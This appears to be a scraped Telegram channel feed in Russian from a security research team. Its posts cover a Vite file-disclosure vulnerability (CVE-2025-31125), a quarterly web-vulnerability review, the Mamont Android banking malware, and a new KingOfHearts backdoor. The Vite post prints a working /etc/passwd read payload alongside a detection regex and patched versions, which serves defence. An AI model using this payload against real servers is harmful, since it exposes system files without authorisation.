Уязвимость в Vite CVE-2025-30208, о которой мы рассказывали ранее, позволяет получить несанкционированный доступ к файлам. В CVE-2025-31125 был обнаружен альтернативный вид запроса для обхода ограничения.
Уязвимости подвержены только приложения, явно предоставляющие доступ к серверу разработки Vite в сети: в них используется параметр конфигурации
❗️ CVE-2025-31125 исправлена в версиях 6.2.4, 6.1.3, 6.0.13, 5.4.16 и 4.5.11 — рекомендуем обновиться.
Метрики
Описание
Полезная нагрузка выглядит так:
Вывод эксплуатации — дважды закодированный в формате
Как защищаться
Регулярное выражение для детекта эксплуатации:
Уязвимость в Vite CVE-2025-30208, о которой мы рассказывали ранее, позволяет получить несанкционированный доступ к файлам. В CVE-2025-31125 был обнаружен альтернативный вид запроса для обхода ограничения.
Уязвимости подвержены только приложения, явно предоставляющие доступ к серверу разработки Vite в сети: в них используется параметр конфигурации
--host или конфигурация server.host. Метрики
Base Score: 5.3
CWE: CWE-200; CWE-284
Описание
Полезная нагрузка выглядит так:
/etc/passwd?inline=<NAME>.wasm?init
/etc/passwd — путь к нужному файлу;inline — используется для управления импортом ресурсов;<NAME> — любая строка или же ее может не быть;.wasm — указывает на WebAssembly-модуль.Вывод эксплуатации — дважды закодированный в формате
base64 файл passwd.Как защищаться
Регулярное выражение для детекта эксплуатации:
.+?\?inline=.*\.wasm\?init
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍5😎4🍌1
Обзор веб-уязвимостей в первом квартале 2025 года 👾
Проанализировали 120+ PoC и подвели итоги ландшафта веб-уязвимостей в первом квартале. Вот результаты:
😬 Более 80% уязвимостей имеют сетевой вектор атаки;
😬 Средний уровень критичности обнаруженных уязвимостей — 7,7/10;
😬 Максимальный уровень критичности обнаруженных уязвимостей — 10, минимальный — 2,7;
😬 72% сетевых уязвимостей имеют Critical и High уровни критичности;
😬 Самые уязвимые продукты квартала: Wordpress и плагины, а также открытое ПО Kubernetes.
✈️ Читайте полный обзор и обновляйтесь.
Проанализировали 120+ PoC и подвели итоги ландшафта веб-уязвимостей в первом квартале. Вот результаты:
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👏5👍3👾3🍌2
Недавно в СМИ появилась информация о задержании подозреваемых в распространении вредоносного приложения для Android под названием Mamont.
Несколько месяцев злоумышленники рассылали тысячам пользователей фишинговые сообщения. В каждом было видео с интригующей подписью:
Это ты на видео?
Под роликом скрывалось вредоносное Android-приложение Mamont — таким образом его создатели получали доступ к интернет-банкингу жертв.
Незадолго до новости о задержании образец Mamont попался команде Solar 4RAYS. Конечно же, мы его исследовали.
Приложение позволяет злоумышленникам:
Мы выяснили, что как минимум часть сетевой инфраструктуры, связанной с Mamont, остается активной. Это может указывать на то, что угроза заражений не ушла.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18👍12❤6👌1👾1
Новая версия бэкдора KingOfHearts 👑
Осенью 2024 мы описали пересечения Obstinate Mogwai с другой азиатской группировкой — IAmTheKing, которая активна как минимум с 2014 года.
Последний публичный отчет об IAmTheKing выпустили эксперты «Лаборатории Касперского» в 2020 году.
А на конференции Kaspersky Security Analyst Summit 2024 подразделение PT ESC представило доклад «The Lord of PowerShell: The Return of IAmTheKing», в котором говорилось о возвращении группировки с новым стилером PowerBroker.
👀 В арсенале IAmTheKing был бэкдор KingOfHearts, который использовался злоумышленниками в атаках до 2019 года. Во время очередной попытки возвращения в инфраструктуру Obstinate Mogwai применили новую версию этого бэкдора, которую мы назвали .NET KingOfHearts.
Наша команда очень подробно проанализировала новую версию легендарного бэкдора.
Ключевые моменты:
😬 Мы обнаружили сборки в ресурсах, даты компиляции которых могут указывать, что бэкдор предположительно мог находиться в разработке с конца 2022, а в инциденте был использован в конце 2023 года.
😬 Эти же сборки помогли найти хеши нескольких других образцов
😬
😬 Нашли ряд совпадений, по которым поняли, что перед нами — новая версия бэкдора KingOfHearts.
⚡️ Все подробности — в статье.
Осенью 2024 мы описали пересечения Obstinate Mogwai с другой азиатской группировкой — IAmTheKing, которая активна как минимум с 2014 года.
Последний публичный отчет об IAmTheKing выпустили эксперты «Лаборатории Касперского» в 2020 году.
А на конференции Kaspersky Security Analyst Summit 2024 подразделение PT ESC представило доклад «The Lord of PowerShell: The Return of IAmTheKing», в котором говорилось о возвращении группировки с новым стилером PowerBroker.
Наша команда очень подробно проанализировала новую версию легендарного бэкдора.
Ключевые моменты:
.NET KingOfHearts с новыми C2..NET KingOfHearts, в отличие от старых версий, стал модульным.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11⚡7🤯4👍2😁1